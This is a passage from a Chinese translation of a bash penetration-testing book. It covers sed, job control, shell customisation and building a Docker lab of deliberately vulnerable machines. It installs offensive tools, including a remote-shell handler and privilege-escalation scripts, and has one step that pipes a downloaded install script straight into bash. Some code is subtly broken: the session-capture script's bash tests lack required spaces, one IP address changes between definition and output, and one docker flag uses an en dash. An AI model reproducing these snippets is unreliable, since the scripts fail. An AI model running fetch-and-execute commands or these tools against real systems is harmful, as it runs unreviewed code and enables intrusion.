要删除文件的最后一行,可以使用美元符号($),它表示最后一行,配合 d 命令:
$ **sed '$d' log.txt**
你还可以删除多行,比如第 5 行和第 7 行:
$ **sed '5,7d' log.txt**
最后,你可以打印(p)特定的行范围,比如第 2 行到第 15 行:
$ **sed -n '2,15 p' log.txt**
当你传递-i 参数给 sed 时,它会直接修改文件本身,而不是创建一个修改过的副本:
$ **sed -i '1d' log.txt**
这个强大的工具还可以做更多的事情。使用 man sed 命令可以找到更多使用 sed 的方法。
作业控制
当你逐渐精通 bash 时,你会开始编写需要一个小时完成的复杂脚本,或者需要持续运行的脚本。并非所有脚本都需要在前台执行并阻塞其他命令的执行。相反,你可能希望将某些脚本作为后台作业运行,无论是因为它们需要较长时间才能完成,还是因为它们的运行输出不重要,你只关心最终结果。
你在终端中运行的命令会占用该终端,直到命令执行完毕。这些命令被认为是 前台作业。在第一章中,我们使用了符号 & 将命令发送到后台。这样,命令就变成了 后台作业,允许我们不阻塞其他命令的执行。
后台与前台管理
为了练习管理后台和前台作业,我们直接在终端运行一个命令并将其发送到后台:
$ **sleep 100 &**
请注意,在这个 sleep 命令运行 100 秒的过程中,我们仍然可以继续在终端上工作。我们可以使用 ps 命令验证这个已启动的进程是否在运行:
$ **ps -ef | grep sleep**
user 1827 1752 cons0 19:02:29 /usr/bin/sleep
现在,这个作业已经在后台运行,我们可以使用 jobs 命令查看当前正在运行的作业:
$ **jobs**
[1]+ Running sleep 100 &
输出显示 sleep 命令处于运行状态,且其作业 ID 为 1。
我们可以通过执行 fg 命令并指定作业 ID 将作业从后台迁移到前台:
$ **fg %1**
sleep 100
此时,sleep 命令正在占用终端,因为它在前台运行。你可以按下 CTRL-Z 来挂起该进程,这将在作业表中显示如下输出:
[1]+ Stopped sleep 100
若要将该任务再次以运行状态发送到后台,使用 bg 命令并指定作业 ID:
$ **bg %1**
[1]+ sleep 100 &
这里,我们提供了作业 ID 为 1。
登出后保持作业运行
无论你是将作业发送到后台,还是在前台运行作业,如果关闭终端或登出,进程都无法继续存活。如果关闭终端,进程将收到一个 SIGHUP 信号并终止。
如果我们希望在退出终端窗口或关闭终端后仍然保持脚本在后台运行该怎么办?为了实现这一点,我们可以在脚本或命令前添加 nohup(无挂断)命令:
$ **nohup ./my_script.sh &**
nohup 命令会创建一个名为 nohup.out 的文件,存储标准输出流数据。如果你不希望这个文件存在于文件系统中,请确保删除它。
还有其他方法可以运行后台脚本,比如通过接入系统和服务管理器,如 systemd。这些管理器提供了额外的功能,比如监控进程是否在运行,如果进程停止则重新启动,并捕获故障。如果你有这样的使用场景,我们建议你阅读有关 systemd 的更多资料,地址是 man7.org/linux/man-pages/man1/init.1.html。
渗透测试者的 Bash 自定义
作为渗透测试员,我们通常会遵循所有道德黑客参与的标准工作流程,无论是咨询工作、漏洞赏金狩猎,还是红队演练。我们可以通过一些 bash 技巧和窍门来优化这些工作。
将脚本放入可搜索路径
Bash 在由 PATH 环境变量定义的目录中搜索程序。像 ls 这样的命令始终可用,因为系统和用户的二进制文件位于 PATH 中的一些目录下。
要查看你的 PATH,运行以下命令:
$ **echo $PATH**
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
输出可能会有所不同,具体取决于你的操作系统。
当你编写 bash 脚本时,可以将其放入如/usr/local/bin 这样的目录中,正如你所看到的,它是 PATH 的一部分。如果你不这样做,还有其他几种选择:
-
使用完整路径直接调用脚本。
-
将目录切换到脚本所在的目录,然后从那里执行它。
-
使用别名(在下一部分展示)。
-
将路径添加到 PATH 环境变量中。
将脚本放入可搜索路径的好处是,你可以仅通过命令名来调用它。你不需要提供完整路径,或者让终端位于同一目录中。
缩短命令与别名
当你经常使用一个较长的 Linux 命令时,可以使用别名将命令映射为一个较短的自定义名称,这样在需要运行时就能节省时间。
例如,假设你经常使用 Nmap(在第四章中讨论)带有特殊参数来扫描给定 IP 地址上的所有 65,535 个端口:
nmap -vv -T4 -p- -sV --max-retries 5 localhost
这个命令相当难记。使用别名后,我们可以使它在命令行或脚本中更容易访问。在这里,我们将命令分配给别名 quicknmap:
$ **alias quicknmap="nmap -vv -T4 -p- -sV --max-retries 5 localhost"**
现在我们可以通过使用别名的名称来运行别名命令:
$ **quicknmap**
Starting Nmap (https://nmap.org) at 02-21 22:32 EST
`--snip--`
PORT STATE SERVICE
631/tcp open ipp
你甚至可以为自己的脚本分配别名:
$ **alias helloworld="bash ~/scripts/helloworld.sh"**
别名不是永久性的,但它们可以是永久的。在下一部分,你将学习如何使用 bash 配置文件使更改在 shell 中永久生效。
自定义 ~/.bashrc 配置文件
我们可以使用~/.bashrc 文件加载函数、变量和几乎任何其他自定义 bash 代码到新的 bash 会话中。例如,我们可以创建包含我们经常需要访问的信息的变量,比如我们正在测试的易受攻击主机的 IP 地址。
例如,我们可以将以下内容附加到~/.bashrc 文件的末尾。这些行定义了几个自定义变量,并保存了我们别名的 Nmap 命令:
VULN_HOST=1.0.0.22
VULN_ROUTER=10.0.0.254
alias quicknmap="nmap -vv -T4 -p- -sV --max-retries 5 localhost"
下次打开终端时,你就可以访问这些值。通过使用 source 命令重新导入~/.bashrc 文件,可以立即使这些新值生效:
$ **source ~/.bashrc**
$ **echo ${VULN_HOST}**
10.0.0.22
$ **echo ${VULN_ROUTER}**
10.0.0.254
现在,即使你关闭终端并启动一个新会话,你也可以使用这些变量。
导入自定义脚本
另一种引入更改到你的 bash 会话的方法是创建一个专门的脚本,包含渗透测试相关的自定义设置,然后让 ~/.bashrc 文件通过 source 命令加载它。为此,创建一个 ~/.pentest.sh 文件,包含你的新逻辑,然后对 ~/.bashrc 文件做一次性修改,加载 pentest.sh 文件:
source ~/.pentest.sh
请注意,你还可以通过使用 .(点)命令来 source 一个 bash 文件:
. ~/.pentest.sh
这个命令提供了一个替代 source 的方法。
捕捉终端会话活动
渗透测试通常涉及同时打开数十个终端,每个终端运行多个工具,产生大量输出。当我们发现有用信息时,可能需要将一些输出作为证据保留下来。为了避免丢失重要信息,我们可以使用一些巧妙的 bash 技巧。
脚本命令允许我们捕捉终端会话活动。一个方法是加载一个小的 bash 脚本,使用 script 将每个会话保存到文件中,以便后续检查。这个脚本可能如下所示:清单 2-27。
#!/bin/bash
FILENAME=$(date +%m_%d_%Y_%H:%M:%S).log
if [[! -d ~/sessions]]; then
mkdir ~/sessions
fi
# Starting a script session
if [[-z $SCRIPT]]; then
export SCRIPT="/home/kali/sessions/${FILENAME}"
script -q -f "${SCRIPT}"
fi
清单 2-27:将终端活动保存到文件
如前所述,通过让 ~/.bashrc 加载这个脚本,将会创建 ~/sessions 目录,其中包含每个终端会话的捕获文件。录制将在你输入 exit 或关闭终端窗口时停止。
练习 2:Ping 一个域名
在这个练习中,你将编写一个 bash 脚本,接受两个参数:一个名称(例如,mysite)和一个目标域名(例如,nostarch.com)。该脚本应能执行以下操作:
-
如果缺少参数,抛出错误并使用正确的退出代码退出。
-
对域名进行 ping 测试,并返回 ping 是否成功的指示。要了解 ping 命令,可以运行
man ping。 -
将结果写入包含以下信息的 CSV 文件:
a. 提供给脚本的名称
b. 提供给脚本的目标域名
c. ping 结果(成功或失败)
d. 当前的日期和时间
与 bash 中的大多数任务一样,有多种方法可以实现此目标。你可以在本书的 GitHub 仓库中找到这个练习的示例解决方案,exercise_solution.sh。
总结
在本章中,你学习了如何通过使用条件、循环和函数来执行流程控制;如何通过使用作业来控制脚本;以及如何搜索和解析文本。我们还强调了构建更有效渗透测试工作流的 bash 技巧和窍门。
第三章:3 设置一个黑客实验室

在本章中,您将设置一个包含黑客工具和有意漏洞目标的实验室环境。您将在章节练习中使用此实验室,但您也可以在需要在真实目标运行之前编写、设置和测试 bash 脚本时使用它。
本地部署的目标及其资产模仿了名为 ACME Infinity Servers 的模拟互联网托管公司的生产环境,该公司拥有自己的虚构员工、客户和数据。这个虚构的互联网托管公司及其客户将为您提供各种有意漏洞的应用程序、用户帐户和基础设施,供您在后续章节中进行攻击实践。
实验室将完全部署在一个 Kali 虚拟机中。该虚拟机将需要以下最低配置:至少 4GB 的 RAM,至少 40GB 的存储空间,以及一个互联网连接。
安全实验室预防措施
遵循这些指南,以减少构建和运行黑客实验室相关风险:
-
避免直接将实验室连接到互联网。黑客实验室环境通常运行漏洞代码或过时软件。尽管这些漏洞对于实际学习非常有帮助,但如果它们从互联网变得可访问,可能会对您的网络、计算机和数据构成风险。相反,我们建议在连接到您信任的本地网络时通过本书工作,或者在设置实验室后离线操作。
-
通过使用虚拟化管理程序在虚拟环境中部署实验室。将实验室环境与您的主操作系统分开通常是个好主意,因为这样可以防止可能会破坏计算机上其他软件的冲突。我们建议使用虚拟化工具来确保这种分离。在下一节中,您将在 Kali 虚拟机中安装实验室。
-
经常对你的虚拟机进行快照。快照是虚拟机的备份,允许你将其恢复到先前的状态。实验室环境经常在攻击后不会保持稳定,因此请在实验室稳定状态时随时进行快照。
在遵循这些最佳实践的基础上,让我们开始动手,让我们的实验室运行起来吧!
安装 Kali
Kali是一个专为渗透测试而创建的 Linux 发行版。基于 Debian,由 OffSec 设计。我们将使用 Kali 作为我们实验室的操作系统,因为它预装了我们需要的某些库、依赖和工具。
您的 Kali 机器在实验室环境中将扮演两个角色。首先,它将作为主机负责运行目标网络和机器,对这些目标运行您的脚本。其次,它将作为黑客机器,您将从中执行攻击。
您可以在 www.kali.org/get-kali/#kali-platforms 找到适用于 VMware Workstation 和 Oracle VirtualBox 超级管理程序的 Kali 虚拟机的 x64 版本。选择您喜欢的超级管理程序,并按照 www.kali.org/docs/installation/ 上的官方安装说明进行安装。
完成安装过程后,您应该会看到如 图 3-1 所示的 Kali 登录界面。Kali 配备了一个名为 kali 的默认用户帐户,密码是 kali。

图 3-1:Kali 登录界面
登录到 Kali 后,您需要确保系统是最新的。要访问终端,请打开 应用程序 菜单,在搜索栏中输入 terminal emulator。点击相应的应用程序。
让我们使用几个命令来更新您的软件仓库并升级已安装的包。在终端窗口中,输入以下命令:
$ **sudo apt update -y**
$ **sudo apt upgrade -y**
$ **sudo apt dist-upgrade -y**
当您使用 sudo 时,Kali 会要求您输入密码。这与您登录虚拟机时使用的密码相同,密码是 kali。
更新版 Kali 默认使用 Z Shell(zsh),因此请确保 bash 是 kali 用户的默认 shell,可以通过以下命令进行设置:
$ **sudo usermod --shell /bin/bash kali**
接下来,通过运行以下命令启用您的新默认 shell:
$ **su - kali**
接下来,我们将在本书中使用此 Kali 机器进行所有任务。我们建议保持终端窗口打开,因为您很快就会需要它来进行其他安装。
目标环境
现在是时候安装构成模拟目标的机器和网络了。您可以通过两种方式执行此安装:手动安装或使用自动化脚本。
我们鼓励您至少手动设置一次实验室,按照本节中的说明进行操作。这将帮助您熟悉实验室的核心组件,并练习在命令行中运行命令。然而,如果您需要在 Kali 的全新安装中重新部署实验室,您可以通过克隆 github.com/dolevf/Black-Hat-Bash 仓库并运行 make init 来完成。
$ **cd ~**
$ **git clone https://github.com/dolevf/Black-Hat-Bash.git**
$ **cd ./Black-Hat-Bash/lab**
$ **sudo make init**
该脚本应该会安装所有实验室所需的依赖项、容器和黑客工具,您可以跳过本节和“安装其他黑客工具”中的说明,后者见 第 61 页。您必须在符合本章开头描述的系统要求的 Kali 虚拟机中执行此脚本。
安装 Docker 和 Docker Compose
我们将使用 Docker 来构建实验室环境,Docker 是一个部署和管理容器的工具。容器 打包代码及其依赖项,使应用程序能够在各种环境中可靠运行。我们还将使用 Docker Compose,这是一个特殊的 Docker 工具,通过一个名为 Compose 文件 的单一 YAML 文件来构建和管理多个 Docker 容器。
首先,让我们配置源以使用 Debian 当前稳定版的 Docker 社区版,docker-ce,通过以下命令。我们使用 printf 将 Docker 的高级包工具(APT)仓库添加到 APT 包源数据库文件中。tee 命令从标准输入流读取并写入文件:
$ **printf '%s\n' "deb https://download.docker.com/linux/debian bullseye stable" |**
**sudo tee /etc/apt/sources.list.d/docker-ce.list**
接下来,下载并导入 Docker 的密钥环,以确保仓库已验证,且从该仓库安装的所有软件包都是加密验证的。使用 curl 下载密钥并将其通过管道传递给 gpg 命令,后者将其存储在所需的文件夹中:
$ **curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o**
**/etc/apt/trusted.gpg.d/docker-ce-archive-keyring.gpg**
最后,运行另一个更新命令以刷新仓库数据库并安装 Docker 组件:
$ **sudo apt update -y**
$ **sudo apt install docker-ce docker-ce-cli containerd.io -y**
要验证您的 Docker Compose 是否正确运行,请使用以下命令:
$ **sudo docker compose --help**
接下来,通过运行此命令,确保 Docker 进程在系统重启时自动启动:
$ **sudo systemctl enable docker --now**
Docker 需要使用 sudo,这可能会有些不方便。如果您希望在执行 Docker 相关命令时避免每次都输入 sudo,请将kali用户添加到docker Linux 组:
$ **sudo usermod -aG docker $USER**
完成后,您不再需要使用 sudo 来运行 Docker 命令。为了使这些更改生效,您必须退出并重新登录到 Kali 系统。
克隆书籍的仓库
您可以在书籍的 GitHub 仓库中找到实验室的文件,地址为* github.com/dolevf/Black-Hat-Bash*。该仓库包含构建实验室所需的 Docker 配置以及本书后续章节中提到的所有 bash 脚本。
Kali 预装了 Git,您可以使用它来克隆和下载仓库。为此,请运行以下命令:
$ **cd ~**
$ **git clone https://github.com/dolevf/Black-Hat-Bash.git**
接下来,进入仓库的根目录,并快速查看其内容:
$ **cd Black-Hat-Bash && ls -l**
`--snip--`
drwxr-xr-x 2 kali kali 4096 Jul 22 23:07 ch01
drwxr-xr-x 2 kali kali 4096 Jul 22 23:07 ch02
drwxr-xr-x 2 kali kali 4096 Jul 22 23:07 ch03
drwxr-xr-x 2 kali kali 4096 Jul 22 23:07 ch04
drwxr-xr-x 2 kali kali 4096 Jul 22 23:07 ch05
`--snip--`
正如您在输出中看到的,仓库的内容按每章的目录组织。仓库还包括一个lab目录,我们将在下一节中使用它来设置实验室。
部署 Docker 容器
书籍仓库中lab目录的内容控制了实验室中使用的所有网络基础设施、机器和应用程序。该目录包括一个Makefile文件。通过运行该脚本并加上帮助参数,您可以看到它用于部署、拆卸、重建、清理和检查我们环境的状态:
$ **cd lab**
$ **make help**
Usage: make deploy | teardown | cleanup | rebuild | status | init | help
deploy | build images and start containers
teardown | stop containers (shut down lab)
rebuild | rebuild the lab from scratch (clean up and deploy)
cleanup | stop and delete containers and images
status | check the status of the lab
init | build everything (containers and hacking tools)
help | show this help message
我们首先使用 deploy 参数来创建实验室。请注意,您需要 sudo 权限来执行部署,因此系统会提示您输入kali用户密码:
$ **sudo make deploy**
实验环境的初始部署将需要几分钟才能完成。为了监控安装进度,您需要打开一个新的终端会话并查看位于/var/log/lab-install.log的日志文件,例如:
$ **tail -f /var/log/lab-install.log**
当使用 tail -f(跟随)命令对文件进行操作时,它会提供对文件末尾添加的新行的实时视图。这对于监视日志文件非常有用,因为日志文件经常会写入新信息。
注意
由于实验室设置会下载操作系统镜像和其他应用程序等软件,因此根据您的网络连接和分配给运行实验室的主机的计算机资源,部署可能需要一些时间。
测试和验证容器
一旦日志文件显示进程完成,它应该告诉您实验室是否已正确设置。我们还可以运行一些命令来验证这一点。首先,使用 make 命令执行状态检查,这次使用 test 参数。如果所有检查通过,您应该会看到以下输出:
$ **sudo make test**
Lab is up.
我们还可以使用 docker ps 命令列出所有正在运行的实验室 Docker 容器:
$ **sudo docker ps -–format "{{.Names}}"**
p-web-01
p-web-02
p-ftp-01
c-jumpbox-01
c-db-01
c-db-02
c-backup-01
c-redis-01
您应该会得到类似的输出,尽管容器的顺序不一定相同。
注意
为了方便起见,您还可以使用 make status 命令,它与 make test 命令相同,用于检查实验室是否正在正常运行。
网络架构
实验室由八台运行在 Docker 容器中的机器和两个网络组成。大多数机器被分配到这两个网络中的一个,我们将利用它们在后续章节中进行各种黑客场景的测试。
实验室中的网络通过 Docker 的桥接网络模式连接到 Kali。 图 3-2 展示了该网络架构的详细信息。

图 3-2:实验室的网络架构
您还可以在本书的代码库中找到此图:github.com/dolevf/Black-Hat-Bash/blob/master/lab/lab-network-diagram.png。
公共网络
图 3-2 左侧的网络是公共网络,我们的虚拟互联网托管公司 ACME Infinity Servers 在此托管其客户的网站和资源。您将在此网络中找到的两个公司网站分别属于 ACME Impact Alliance 和 ACME Hyper Branding。
公共网络的 IP 地址无类域间路由(CIDR)范围为 172.16.10.0/24,并包含四台机器(其名称以p-为前缀)。它也是面向公共的,这意味着我们可能会首先测试具有该网络访问权限的机器,因为它们可能是进入网络的入口点。
企业网络
第二个网络是企业网络。ACME Infinity Servers 使用该私有网络来托管其后端支持基础设施。如您所见,企业网络的 IP 地址 CIDR 范围是 10.1.0.0/24,并包含四台机器(其名称以c-为前缀)。
此网络不面向公众,这意味着该网络中的机器没有互联网连接。因此,在能够接管公共网络中的一台或多台机器之前,我们不会对其进行测试,这将作为我们进入企业网络的起点。
Kali 网络接口
Kali 有两个网络接口,用于连接实验室的两个网络。我们可以使用 br_public 网络接口访问公共网络,使用 br_corporate 网络接口访问企业网络。您可以通过运行以下命令验证两个接口是否在线并配置为使用正确的网络地址:
$ **ip addr | grep "br_"**
`--snip--`
4: br_public: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group de...
link/ether 02:42:ea:5f:96:9b brd ff:ff:ff:ff:ff:ff
inet ❶ 172.16.10.1/24 brd 172.16.10.255 scope global br_public
5: br_corporate: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group...
link/ether 02:42:67:90:5a:95 brd ff:ff:ff:ff:ff:ff
inet ❷ 10.1.0.1/24 brd 10.1.0.255 scope global br_corporate
在继续之前,请验证 IP 地址是否与 ❶ 和 ❷ 中显示的匹配。
机器
实验室环境中的八台机器遵循简单的命名约定。名称的第一个字符指示了机器所属的网络。例如,如果机器名称以 p 开头,则属于公共网络;同样,如果以 c 开头,则属于企业网络。接下来的单词描述了机器的功能或主要技术栈,如 web、ftp、jumpbox 或 redis。最后,使用数字来区分类似的机器,例如 p-web-01 和 p-web-02。
每台机器提供独特的应用程序、服务和用户帐户,我们可以了解和入侵。后续章节将更详细地描述这些机器,但表格 3-1 提供了一些高级信息。
表 3-1: 实验室机器详细信息
| 名称 | 公共 IP | 企业 IP | 主机名 |
|---|---|---|---|
| Kali 主机 | 172.16.10.1 | 10.1.0.1 | — |
| p-web-01 | 172.16.10.10 | — | p-web-01.acme-infinity-servers.com |
| p-ftp-01 | 172.16.10.11 | — | p-ftp-01.acme-infinity-servers.com |
| p-web-02 | 172.16.10.12 | 10.1.0.11 | p-web-02.acme-infinity-servers.com |
| c-jumpbox-01 | 172.16.10.13 | 10.1.0.12 | c-jumpbox-01.acme-infinity-servers.com |
| c-backup-01 | — | 10.1.0.13 | c-backup-01.acme-infinity-servers.com |
| c-redis-01 | — | 10.1.0.14 | c-redis-01.acme-infinity-servers.com |
| c-db-01 | — | 10.1.0.15 | c-db-01.acme-infinity-servers.com |
| c-db-02 | — | 10.1.0.16 | c-db-02.acme-infinity-servers.com |
当您从 Kali 执行渗透测试时,请记住有时可能会看到 Kali 自己的 IP 地址,即 172.16.10.1 和 10.1.0.1,在某些工具结果中出现。我们不会对这些地址进行测试。
管理实验室
现在,您已经设置好您的实验室并仔细查看了其组成部分,接下来将学习如何拆除它,启动它,并在需要时重新构建它。
关闭
当您不使用实验室环境时,关闭它是一个好的实践。要关闭实验室中运行的所有容器,请运行以下命令:
$ **sudo make teardown**
您应该收到所有已停止容器的列表,以及删除的网络和卷的列表,如下所示:
==== Shutdown Started ====
Stopping p-web-02 ... done
Stopping c-jumpbox-01 ... done
`--snip--`
Removing volume lab_p_web_02_vol
OK: lab has shut down.
要重新启动你的容器,只需重新运行 “部署 Docker 容器” 中提到的部署命令,第 56 页。
移除
要完全从 Kali 机器中移除实验室环境,可以运行 clean 命令。这将销毁所有容器及其镜像:
$ **sudo make clean**
==== Cleanup Started ====
Shutting down the lab...
Cleaning up...
OK: lab environment has been destroyed.
运行命令后,你应该会收到一个确认消息,表示实验室环境已被销毁。
重建
当我们执行重建时,实验室将首先关闭所有运行中的容器,删除卷,并移除所有容器镜像,然后才会进行新的部署。要执行重建,请运行以下命令:
$ **sudo make rebuild**
如果你重建实验室,你将丢失所有保存在容器中的数据。重建在安装过程中出现问题时非常有用。比如,安装过程中途中失去网络连接,实验室报告出现故障状态。重建命令允许你从头开始清除并安装实验室环境。
访问单个实验室机器
随着你逐步深入本书,你将会攻破实验室环境中的机器。然而,获得对一台机器的完全访问权限通常需要多次尝试。有时候你可能需要排查一个问题,或者重现一次攻破后的操作,而你并不想重复获取访问权限时所执行的步骤。
要获得对任何单个实验室机器的 shell 访问权限,可以运行以下 Docker 命令:
$ **sudo** **docker exec -it** **`MACHINE-NAME`** **bash**
MACHINE-NAME 代表实验室机器的名称,例如 p-web-01 或 p-jumpstation-01(或 表 3-1 中的任何其他以 p- 或 c- 开头的机器)。Docker 命令将让你进入 bash shell,在这里你可以执行任何你想要的命令。要退出,只需在提示符下输入 exit 或关闭终端会话窗口。
然而,我们强烈建议你在采取这些方便的快捷方式之前,按照预期攻破机器。
安装额外的黑客工具
本书中大多数工具都已预先安装在 Kali 中,我们会在首次使用时介绍它们。不过,我们需要安装一些默认未安装的工具,所以我们在这里进行安装。首先,为你的工具创建一个新目录:
$ **cd ~**
$ **mkdir tools**
现在使用以下章节中的指令来安装每个工具。
WhatWeb
WhatWeb 是由 Andrew Horton 和 Brendan Coles 开发的基于 Ruby 的 Web 扫描器。它采用插件系统,旨在识别目标网站上运行的软件。
WhatWeb 可以通过使用其已知应用程序签名数据库,对网站及其应用程序栈进行指纹识别。WhatWeb 还可以识别特定的内容管理系统和博客平台(如 WordPress)、网络摄像头、Web 应用防火墙等。截至目前,WhatWeb 拥有超过 1800 个插件。
要安装 WhatWeb,只需在终端中运行以下命令:
$ **sudo apt-get install whatweb -y**
通过使用 -h(帮助)参数运行 whatweb 命令,验证 WhatWeb 是否能够正常运行:
$ **whatweb -h**
`--snip--`
WhatWeb - Next generation web scanner.
Developed by Andrew Horton (urbanadventurer) and Brendan Coles (bcoles).
Homepage: https://www.morningstarsecurity.com/research/whatweb
在本书后面,我们将使用 WhatWeb 进行侦察活动。
RustScan
RustScan 是一个由秋天(Bee)Skerritt(@bee_sec_san)编写的超快端口扫描器,使用 Rust 编程语言编写。有些人声称,RustScan 可以在几秒钟内扫描目标的所有 65,000 个端口!
我们将使用 RustScan 的 Docker 版本。为此,我们首先需要将其镜像拉取到 Kali 机器上:
$ **sudo docker pull rustscan/rustscan:2.1.1**
一旦你构建了 RustScan,运行一个快速测试来确保它正常工作:
$ **sudo docker run --network=host -it --rm --name rustscan rustscan/rustscan:2.1.1**
Fast Port Scanner built in Rust. WARNING Do not use this program against
sensitive infrastructure since the specified server may not be able to
handle this many socket connections at once.
`--snip--`
这个命令相当长,因为它依赖于使用 Docker 启动一个专门的 RustScan 容器。在“为黑客工具分配别名”一节中,第 66 页,我们将创建一个快捷命令来为我们运行 RustScan。
我们将在后续章节中使用 RustScan 进行端口扫描。
Nuclei
Nuclei 是一个由 ProjectDiscovery 公司编写的用 Go 编程语言编写的漏洞扫描器,ProjectDiscovery 是一个开发流行开源黑客工具的公司。Nuclei 通过发送请求到由 YAML 模板文件定义的目标来工作。黑客社区发布了数千个支持多种协议的 Nuclei 模板,包括传输控制协议(TCP)、域名系统(DNS)、HTTP、原始套接字、文件、无头等。你可以在github.com/projectdiscovery/nuclei-templates找到这些模板。
通过运行以下安装命令来安装 Nuclei:
$ **sudo apt install nuclei -y**
为了验证 Nuclei 是否正确安装,运行帮助命令:
$ **nuclei -h**
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.
Usage:
nuclei [flags]
Flags:
TARGET:
-u, -target string[] target URLs/hosts to scan
第一次运行 Nuclei 时,它会自动在用户的主文件夹中创建一个nuclei-templates目录,并下载所有公开可用的 Nuclei 模板。
我们将使用 Nuclei 在实验室中查找漏洞,并编写自定义漏洞检查。
dirsearch
dirsearch 是一个多线程工具,用于查找 Web 服务器上的常见路径。dirsearch 可在 Kali 的软件下载库中找到,因此要安装它,请运行以下命令:
$ **sudo apt install dirsearch -y**
为了验证 dirsearch 是否正确安装,运行帮助命令:
$ **dirsearch --help**
我们将在后续章节中使用 dirsearch 进行信息收集。
Linux Exploit Suggester 2
Linux Exploit Suggester 2 是一个基于原始 Linux Exploit Suggester 的下一代工具。由 Jonathan Donas 编写,使用 Perl 语言开发,包含了多个漏洞,您可以利用它们来潜在地攻破易受攻击的 Linux 内核版本。
要安装它,首先将仓库克隆到你的tools目录:
$ **cd ~/tools**
$ **git clone https://github.com/jondonas/linux-exploit-suggester-2.git**
为了验证 Linux Exploit Suggester 2 是否正确安装,运行帮助命令:
$ **cd linux-exploit-suggester-2**
$ **perl linux-exploit-suggester-2.pl -h**
我们将在本书后面使用 Linux Exploiter Suggester 2 来枚举内核漏洞。
Gitjacker
Gitjacker 是一个数据提取工具,专门针对那些不小心上传了.git目录的 Web 应用程序。在安装 Gitjacker 之前,你需要先安装 jq,这是一个命令行 JSON 处理工具:
$ **sudo apt install jq -y**
接下来,下载 Gitjacker 安装脚本,并将可执行文件移动到工具目录:
$ **cd ~**
$ **curl -s "https://raw.githubusercontent.com/liamg/gitjacker/master/scripts/install.sh" | bash**
$ **mv ./bin/gitjacker ~/tools/gitjacker**
$ **rmdir ./bin**
最后,通过运行以下帮助命令验证 Gitjacker 是否正常工作:
$ **~/tools/gitjacker -h**
我们将在本书后面使用 Gitjacker 来识别配置错误的 Git 存储库。
pwncat
pwncat是由 Caleb Stewart 和 John Hammond 开发的基于 Python 的命令与控制库,用于捕获和与远程 shell 进行交互。一旦 pwncat 从远程受损主机接收到一个 shell 连接,它将作为一个利用平台,用于发送命令和发起攻击。
要安装 pwncat,请运行此命令:
$ **pip3 install pwncat-cs**
要验证库是否已正确安装,请使用以下命令:
$ **pwncat-cs -h**
usage: pwncat-cs [-h] [--version] [--download-plugins] [--config CONFIG]
[--ssl] [--ssl-cert SSL_CERT] [--ssl-key SSL_KEY]
[--identity IDENTITY] [--listen] [--platform PLATFORM]
[--port PORT] [--list] [--verbose]
[[protocol://][user[:password]@][host][:port]] [port]
我们将在本书后面使用 pwncat 进行渗透测试。在某些情况下,pwncat-cs 可能会在/.local/bin*下找到,并且可以通过其完整路径直接调用:*/.local/bin/pwncat-cs。
LinEnum
LinEnum是 Owen Shearing 编写的用于枚举 Linux 主机上本地信息的 bash 脚本。我们可以使用 wget 从其 GitHub 存储库获取该脚本:
$ **cd ~/tools**
$ **wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh**
要验证脚本是否正常工作,请使其可执行并运行以下帮助命令:
$ **chmod u+x LinEnum.sh**
$ **./LinEnum.sh -h**
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com | @rebootuser
# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t
OPTIONS:
-k Enter keyword
-e Enter export location
-s Supply user password for sudo checks (INSECURE)
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text
Running with no options = limited scans/no output file
#########################################################
我们将在本书后面使用 LinEnum 来枚举系统的配置错误。
unix-privesc-check
unix-privesc-check脚本由 pentestmonkey 编写,用于从主机收集信息,以寻找配置错误和提升特权的方法。该脚本编写以支持许多 Linux 和 Unix 系统的变种,并且不需要任何依赖项,这使得运行起来非常方便。
默认情况下,该脚本与 Kali 捆绑在一起,您应该在/usr/bin/unix-privesc-check找到它:
$ **which unix-privesc-check**
/usr/bin/unix-privesc-check
可选地,您可以在tools目录中创建其副本,以便在需要时将其复制到实验室的任何计算机上:
$ **cp /usr/bin/unix-privesc-check ~/tools**
如果该脚本在您的 Kali 机器上不可用,您可以直接从 APT 下载:
$ **apt-get install unix-privesc-check -y**
使用以下命令验证您能够成功运行它:
$ **unix-privesc-check -h**
unix-privesc-check (http://pentestmonkey.net/tools/unix-privesc-check)
Usage: unix-privesc-check {standard | detailed}
"standard" mode: Speed-optimised check of lots of security settings.
`--snip--`
我们将使用unix-privesc-check在本书后面识别权限提升机会。
分配别名给黑客工具
通过第三方存储库(如 GitHub)安装的工具有时不会有设置文件,使得运行它们变得更加容易。我们可以为这些工具分配 bash 别名作为简写引用,这样每次运行它们时就不需要输入完整的目录路径了。
通过以下命令分配自定义别名。这些命令将被写入您的~/.bashrc文件,在您打开新终端会话时执行:
$ **echo "alias rustscan='docker run --network=host -it --rm --name rustscan rustscan/rustscan:**
**2.1.1'" >> "/home/kali/.bashrc"**
$ **echo "alias gitjacker='/home/kali/tools/gitjacker'" >> ~/.bashrc**
RustScan 和 Gitjacker 现在都有别名。
现在您应该拥有一个完全功能的 bash 黑客实验室。现在是将您的 Kali 虚拟机拍摄快照的好时机,这样您可以将其恢复到这个干净状态。定期拍摄快照是个好主意,特别是每当您进行重要配置更改或向您的虚拟实验室部署新工具时。
概述
在这一章中,你搭建了你的黑客实验室,该实验室由一个专用的 Kali 虚拟机组成,运行多个故意存在漏洞的 Docker 容器和黑客工具。我们还讨论了如何通过拆除、清理和重建实验室环境来管理它。
我们将在所有动手练习中使用这个实验室。如果你遇到问题,我们建议你关注本书的 GitHub 仓库 (github.com/dolevf/Black-Hat-Bash),我们在这里维护着更新实验室所需的源代码。在下一章中,你将使用这些工具进行侦察并收集有关远程目标的信息。
第四章:4 侦察

每次黑客攻击活动都始于某种形式的信息收集。在本章中,我们将通过编写 bash 脚本来对目标进行侦察,运行各种黑客工具。你将学习如何使用 bash 自动化任务,并将多个工具串联成一个工作流。
